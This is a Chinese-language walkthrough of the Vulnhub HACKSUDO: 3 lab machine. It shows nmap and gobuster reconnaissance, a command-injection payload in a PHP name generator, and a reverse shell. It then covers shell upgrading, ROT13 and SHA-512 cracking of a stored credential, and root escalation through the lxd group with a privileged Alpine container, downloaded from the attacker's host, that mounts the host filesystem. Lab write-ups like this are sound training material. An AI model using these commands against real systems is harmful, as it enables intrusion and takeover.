Vulnhub靶机测试 NO.29 HACKSUDO: 3
Vulnhub靶机测试 NO.29 HACKSUDO: 3
1 靶机介绍
1.1 靶机地址
https://www.vulnhub.com/entry/hacksudo-fog,697/
1.2 环境搭建
使用VirtualBox启动,靶机ip与kali ip配置 同段
2 测试过程
2.1 nmap探测ip
nmap -sP 192.168.56.0/24
2.2 nmap扫描端口
nmap -sC -sV -A -p- 192.168.56.119 -o port.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-17 09:46 CST
Nmap scan report for 192.168.56.119
Host is up (0.00046s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.46 ((Ubuntu))
|_http-server-header: Apache/2.4.46 (Ubuntu)
|_http-title: Link Lock - Password-protect links
MAC Address: 08:00:27:A6:1E:CD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.46 ms 192.168.56.119
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.34 seconds
探测到21 22 端口被过滤 21/tcp filtered ftp 22/tcp filtered ssh 开放端口有 80/tcp open http Apache httpd 2.4.46 ((Ubuntu))
操作系统类型版本 Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6
2.3 测试思路
只能通过80端口测试漏洞。 首页功能点测试,源码js文件审查,目录扫描,扫描页面功能点测试。
2.4 浏览首页
发现是一处url链接加密的工具, 发现一些密码 进行记录下来
avocado urlpage5 torrenting_is-legal! 暂时没有发现其他可利用的点
2.5 目录扫描
gobuster dir -u 192.168.56.119/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt
发现三个 php页面 /info.php (Status: 200) [Size: 83324] /login.php (Status: 200) [Size: 497] /generator.php (Status: 200) [Size: 647]
2.5.1 访问info.php (有用)
phpinfo页面
2.5.2 访问login.php
登录页面 测试不提示 账号是否正确
2.5.3 访问generator.php(命令注入)
一个名称生成器
测试发现存在命令注入 payload
Youth && id
2.6 命令注入反弹shell
2.6.1 kali开启监听
2.6.2 反弹shell
注意bp发送post数据需要url编码 &&
2.7 切换完整shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm 然后 Ctrl+Z 退出来一下
stty raw -echo;fg 回车后输入 reset 再回车
stty rows 46 columns 188
切换后就可以命令按tab补全等功能
2.8 提权至hacksudo账号
2.8.1 信息收集
在网站目录下发现一个hacksudo 文件
unpxfhqb ybpxre FFU hfreanzr:unpxfhqb cnffjbeq:63p9142792q571q0s7p28ro30626q6s38792n2r7679o76q784231676q62447so80ns8953745s709p6622qqn2po4q754p262q0q31o3030n08s7o524079n6o336o
看起来像是加密 又有文字 可能是凯撒密码
它是一种替换加密的技术,明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。例如,当偏移量是3的时候,所有的字母A将被替换成D,B变成E,以此类推。
2.8.2 凯撒密码解密
最后通过移位13位 得到明文 hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b
2.8.3 sha512解密
vishal
2.8.4 su hacksudo -l
su hacksudo -l vishal
登录hacksudo 账号成功 得到user.txt的flag
2.9 lxd提权至root
一般提权我们会看 用户组 内核漏洞 sudo权限 suid文件 cron定时任务 特殊文件权限 不常见的文件等等
2.9.1 用户组
看见了所属组有lxd 我们可以利用lxd的漏洞将 lxd组用户提权至root
2.9.2 kali攻击机操作
-
通过git将构建好的alpine镜像克隆至本地; git clone https://github.com/saghul/lxd-alpine-builder.git
-
执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成; cd lxd-alpine-builder
sudo ./build-alpine
-
将tar文件发送至目标设备; 下载好后 启动python http访问 python3 -m http.server 80
2.9.3 靶机操作
靶机操作:
-
下载攻击机上的alpine-v3.15-x86_64-20220124_1022.tar.gz wget http://192.168.56.137/alpine-v3.15-x86_64-20220317_1435.tar.gz
-
导入镜像并初始化镜像 lxc image import ./alpine-v3.15-x86_64-20220317_1435.tar.gz --alias test
lxc init test test -c security.privileged=true
报错了 说没有初始化 lxd init 一路回车
lxc init test test -c security.privileged=true 初始化镜像
-
挂载磁盘 lxc config device add test test disk source=/ path=/mnt/root recursive=true
-
启动镜像并进入镜像访问任意文件 lxc start test
lxc exec test /bin/sh
id
cd /mnt/root
ls
cd /root
cat proof.txt
cat root.txt
3 总结
该靶机通过 1.nmap端口信息收集 只扫出80端口。 2.gobuster目录扫描,扫出phpinfo,generator页面(存在命令执行&&id) getshell 3.凯撒密码移位13位和sha512解密 提权至hacksudo用户。 4.lxd提权至root。
|